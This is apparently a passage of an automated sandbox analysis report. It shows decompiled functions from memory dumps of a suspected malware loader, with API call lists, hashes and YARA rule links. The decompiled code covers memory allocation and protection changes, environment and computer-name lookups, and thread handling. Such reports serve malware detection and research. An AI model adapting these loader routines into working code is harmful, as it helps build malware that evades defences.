Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001179(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x1000414c;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x10001183
0x10001190
0x10001196
0x100011a2
0x100011b2
0x100011b4
0x100011bc
0x10001251
0x10001258
0x00000000
0x00000000
0x00000000
0x100011c2
0x100011c2
0x100011c2
0x100011c6
0x00000000
0x00000000
0x100011d2
0x100011d6
0x100011fa
0x100011fe
0x10001212
0x10001212
0x10001218
0x10001227
0x1000122b
0x10001233
0x10001233
0x1000123b
0x1000123e
0x1000124b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000124b
0x10001206
0x1000120a
0x10001210
0x00000000
0x00000000
0x00000000
0x10001210
0x100011de
0x100011e2
0x100011ec
0x100011e4
0x100011e4
0x100011e4
0x00000000
0x100011e2
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
GetLastError.KERNEL32 ref: 1000122D

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction ID: 0668daed04cbb7b664abe494ebfe9c2342c365f2a22d128ebf7293798eb97d5e
Opcode Fuzzy Hash: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction Fuzzy Hash: A2217F31801206EFDB04DF95C885AEAF7F5FF44399F018859D50297458E3B8A6A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00923DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00923DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x92d27c; // 0x298a5a8
				_t5 = _t40 + 0x92ee40; // 0x410025
				_t85 = E00926A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E00929039(_v16);
					goto L24;
				}
				if(E0092A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E0092809F(0,  *0x92d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x92d27c; // 0x298a5a8
					_t11 = _t52 + 0x92e81a; // 0x65696c43
					_t55 = E0092809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E00926BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E00929039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E00929039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E00921F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x92d260 & 0x00000001) == 0) {
							L14:
							E00928F83(_t80, _v88, _v84,  *0x92d270, 0);
							_t80 = E00921C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E009242EA( &_v40, 0);
							}
							E00929039(_v88);
							goto L17;
						}
						_t67 =  *0x92d27c; // 0x298a5a8
						_t18 = _t67 + 0x92e823; // 0x65696c43
						_t70 = E0092809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E00926BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E00929039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x00923deb
0x00923dee
0x00923df5
0x00923dfb
0x00923dfc
0x00923dfd
0x00923dfe
0x00923dff
0x00923e00
0x00923e08
0x00923e14
0x00923e18
0x00923e1b
0x00923f6b
0x00923f6e
0x00923f72
0x00923f72
0x00923e2d
0x00923e35
0x00923f5e
0x00923f5f
0x00923f62
0x00000000
0x00923f62
0x00923e47
0x00923e49
0x00923e49
0x00923e54
0x00923e5b
0x00923e5e
0x00923f4d
0x00000000
0x00923e64
0x00923e64
0x00923e69
0x00923e72
0x00923e77
0x00923e80
0x00923ea3
0x00923e82
0x00923e98
0x00923e9a
0x00923e9a
0x00923ea6
0x00923f41
0x00923f44
0x00923f4e
0x00923f4e
0x00923f53
0x00923f55
0x00923f55
0x00000000
0x00923eac
0x00923eb3
0x00923ef4
0x00923f05
0x00923f1b
0x00923f1f
0x00923f24
0x00923f2a
0x00923f37
0x00923f37
0x00923f3c
0x00000000
0x00923f3c
0x00923eb5
0x00923eba
0x00923ec3
0x00923ec8
0x00923ecc
0x00923eef
0x00923ece
0x00923ee4
0x00923ee6
0x00923ee6
0x00923ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x00923ef2
0x00923ea6

APIs

memset.NTDLL ref: 00923DEE

Part of subcall function 00926A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,00923E14,00410025,00000005,?,00000000), ref: 00926A23
Part of subcall function 00926A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 00926A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00923E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 00923E2D

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: 7a1beacd9541937b036c3651a0988c692bb3d192f687eec1ab0a52b58018c774
Instruction ID: 0b668efc01755b90f28f15fb8ab0e432cbc43eb05724bca2bd7a8f30125dd3c2
Opcode Fuzzy Hash: 7a1beacd9541937b036c3651a0988c692bb3d192f687eec1ab0a52b58018c774
Instruction Fuzzy Hash: 5E418071A01228ABDB21EFE4ED85EEE7BBCAF08740F008425F901E7115D675DE099B90

Uniqueness

Uniqueness Score: -1.00%

Function 026A6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E026A6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E026A463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E026A4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E026A2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E026A348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E026A4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x026a6194
0x026a6194
0x026a6194
0x026a6195
0x026a619c
0x026a619f
0x026a61a4
0x026a61a7
0x026a61a9
0x026a61ab
0x026a61ac
0x026a61af
0x026a61b7
0x026a61c5
0x026a61c5
0x026a61ca
0x026a61ca
0x026a61d1
0x026a61d5
0x026a61d8
0x026a61de
0x026a61e8
0x026a61f0
0x026a61f7
0x026a61fd
0x026a6207
0x026a6209
0x026a6210
0x026a6214
0x026a6218
0x026a621c
0x026a6226
0x026a6226
0x026a6230
0x026a6230
0x026a6233
0x026a6233
0x026a6239
0x026a6240
0x026a6243
0x026a624b
0x026a624f
0x026a6255
0x026a6260
0x026a6262
0x026a6267
0x026a6272
0x026a6274
0x026a6276
0x026a6279
0x026a627a
0x026a627d
0x026a6281
0x026a6284
0x026a6284
0x026a628a
0x026a628d
0x026a628e
0x026a628e
0x026a628e
0x026a6296
0x026a629f
0x026a629f
0x026a62a2
0x026a62a7
0x026a62af
0x026a62b3
0x026a62b4
0x026a62b4
0x026a62b9
0x026a62c6
0x026a62c9
0x026a62cd
0x026a62e1
0x026a62e9
0x026a62ed
0x026a62f3
0x026a62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 026A61CA
VirtualProtect.KERNELBASE(?,?), ref: 026A6233

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: 55f9f6a9d86642b050205bd355552755261bda17e799ca033d74317eb0f69631
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 4941C172504604DFEB00DF20C9807ADBBF9EF88701F1A846DDD888B249DB7859508F69

Uniqueness

Uniqueness Score: -1.00%

Function 00929152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00929152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00923AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x92d27c; // 0x298a5a8
						_t20 = _t68 + 0x92e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00927C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x00929158
0x0092915b
0x0092916b
0x00929174
0x00929178
0x00929246
0x0092924c
0x0092924c
0x00929192
0x00929197
0x0092919b
0x009291a1
0x009291a6
0x009291ad
0x009291bc
0x009291bc
0x009291c0
0x009291c2
0x009291ce
0x009291d9
0x009291e4
0x009291e8
0x009291f2
0x009291f6
0x009291f8
0x009291fd
0x00929204
0x00929214
0x00929214
0x009291fd
0x009291f6
0x00929216
0x0092921b
0x00929220
0x00929220
0x00929226
0x0092922c
0x00929231
0x00929231
0x00929236
0x0092923b
0x0092923b
0x00929236
0x009291c0
0x0092923d
0x00929243
0x00000000

APIs

Part of subcall function 00923AEF: SysAllocString.OLEAUT32(80000002), ref: 00923B46
Part of subcall function 00923AEF: SysFreeString.OLEAUT32(00000000), ref: 00923BAB

SysFreeString.OLEAUT32(?), ref: 00929231
SysFreeString.OLEAUT32(00921885), ref: 0092923B

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: be56092b60b952028ff163f12a8d1ccd13364e79e84b1f435e7cdc2cb2609b61
Instruction ID: 49da3f101fde857ced8cb33db6b5beb392fe00cc59e0ed27070fba4ef014d619
Opcode Fuzzy Hash: be56092b60b952028ff163f12a8d1ccd13364e79e84b1f435e7cdc2cb2609b61
Instruction Fuzzy Hash: 36314A72900129FFCF21DFA5D888C9BBB7AFFC9750B144658F8159B215E2319D51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000135A, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000135A() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004150;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E10001FE7(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E10001414( &_v32,  &_v16,  *0x1000414c ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E1000102F(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E1000200D(_t44, _t32 + 4);
						}
					}
					_t25 = E10001E11(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001360
0x10001371
0x1000137b
0x10001373
0x10001373
0x10001373
0x10001382
0x1000138b
0x10001390
0x100013ae
0x10001405
0x100013b0
0x100013b6
0x100013bc
0x100013ca
0x100013ce
0x100013d5
0x100013d7
0x100013e3
0x100013e5
0x100013f4
0x100013e7
0x100013ed
0x100013ed
0x100013e5
0x100013fc
0x100013fc
0x10001407

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 100013B6
ExitThread.KERNEL32 ref: 10001407

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction ID: 2ce771c5e16d54c3ab671480280001d27b24c2f2c6965729a5a09e13ad1247cb
Opcode Fuzzy Hash: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction Fuzzy Hash: D71149B1908245ABF711DBA4CC899CBB7ECEB483C0F02482AF555D7169EB30E6858B55

Uniqueness

Uniqueness Score: -1.00%

Function 009254BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E009254BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E00922049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E00929039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x009254c1
0x009254cc
0x009254ce
0x009254d4
0x009254d6
0x009254db
0x009254e4
0x009254e8
0x009254f1
0x009254f5
0x00925504
0x009254f7
0x009254f8
0x009254fd
0x009254fd
0x009254f5
0x009254e8
0x0092550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,0092A306,74B5F710,00000000,?,?,0092A306), ref: 009254D4

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

GetComputerNameExA.KERNELBASE(00000003,00000000,0092A306,0092A307,?,?,0092A306), ref: 009254F1

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 915df0a0eec1274e6d9e1904b4051389bb9c215653f2e2f59abe6a68b94ed752
Instruction ID: 25bf638d5819517f899197a35b3390c41838672fc8e28b1bfb63c05dd7f2608f
Opcode Fuzzy Hash: 915df0a0eec1274e6d9e1904b4051389bb9c215653f2e2f59abe6a68b94ed752
Instruction Fuzzy Hash: 9FF0B422A00129FBEB10D69AAC00FAF36ADDBC6750F110065B900D3104EA74DE019770

Uniqueness

Uniqueness Score: -1.00%

Function 00928055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x92d23c) == 0) {
						E0092970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x92d23c) == 1) {
						_t10 = E00926A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x0092805c
0x0092805d
0x00928060
0x00928092
0x00928094
0x00928094
0x00928062
0x00928063
0x00928078
0x0092807f
0x00928081
0x00928081
0x0092807f
0x00928063
0x0092809c

APIs

InterlockedIncrement.KERNEL32(0092D23C), ref: 0092806A

Part of subcall function 00926A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0092807D,?), ref: 00926A69

InterlockedDecrement.KERNEL32(0092D23C), ref: 0092808A

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 0238ca8e910dc85644fc9b29f8514087232e85807e6ddbe958043051a15fbc56
Instruction ID: 314ed802213be846720309eb9b71cb76136ba07c7f9a8bc711a39a5828ea486e
Opcode Fuzzy Hash: 0238ca8e910dc85644fc9b29f8514087232e85807e6ddbe958043051a15fbc56
Instruction Fuzzy Hash: 0EE02674AD7231938A302B74BC04BDFA608AF50F82F004C10F684D00ACCE10CC8596D1

Uniqueness

Uniqueness Score: -1.00%

Function 00929318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00929318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x92d27c; // 0x298a5a8
				_t4 = _t15 + 0x92e39c; // 0x32b8944
				_t20 = _t4;
				_t6 = _t15 + 0x92e124; // 0x650047
				_t17 = E00929152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E00929FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x00929322
0x00929324
0x0092932b
0x0092932c
0x0092932d
0x0092932e
0x00929334
0x00929339
0x00929339
0x00929343
0x00929355
0x0092935c
0x0092938b
0x0092935e
0x00929363
0x00929388
0x00929365
0x00929368
0x0092936f
0x0092937a
0x00929371
0x00929374
0x00929374
0x0092937e
0x0092937e
0x00929363
0x00929392

APIs

Part of subcall function 00929152: SysFreeString.OLEAUT32(?), ref: 00929231

Part of subcall function 00929FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00927946,004F0053,00000000,?), ref: 00929FD2
Part of subcall function 00929FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00927946,004F0053,00000000,?), ref: 00929FFC
Part of subcall function 00929FC9: memset.NTDLL ref: 0092A010

SysFreeString.OLEAUT32(00000000), ref: 0092937E

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: c806752aac1e1f0533b21eb5faafe7ea6d2f44732df8fd182ef5085d4445d989
Instruction ID: d6b812f45edbcb59a59e8a4252dd71a2c6db5c2fe872c6d8b135ed48c374dc5d
Opcode Fuzzy Hash: c806752aac1e1f0533b21eb5faafe7ea6d2f44732df8fd182ef5085d4445d989
Instruction Fuzzy Hash: FF01BC32504039BFDF20DFA8EC449EEBBB8FF88700F004825E911E60A5E370996597D1

Uniqueness

Uniqueness Score: -1.00%

Function 10001FE7, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10001FE7(void* __eax, intOrPtr _a4) {

				 *0x10004148 =  *0x10004148 & 0x00000000;
				_push(0);
				_push(0x10004144);
				_push(1);
				_push(_a4);
				 *0x10004140 = 0xc; // executed
				L10001BD6(); // executed
				return __eax;
			}

0x10001fe7
0x10001fee
0x10001ff0
0x10001ff5
0x10001ff7
0x10001ffb
0x10002005
0x1000200a

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001387,00000001,10004144,00000000), ref: 10002005

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
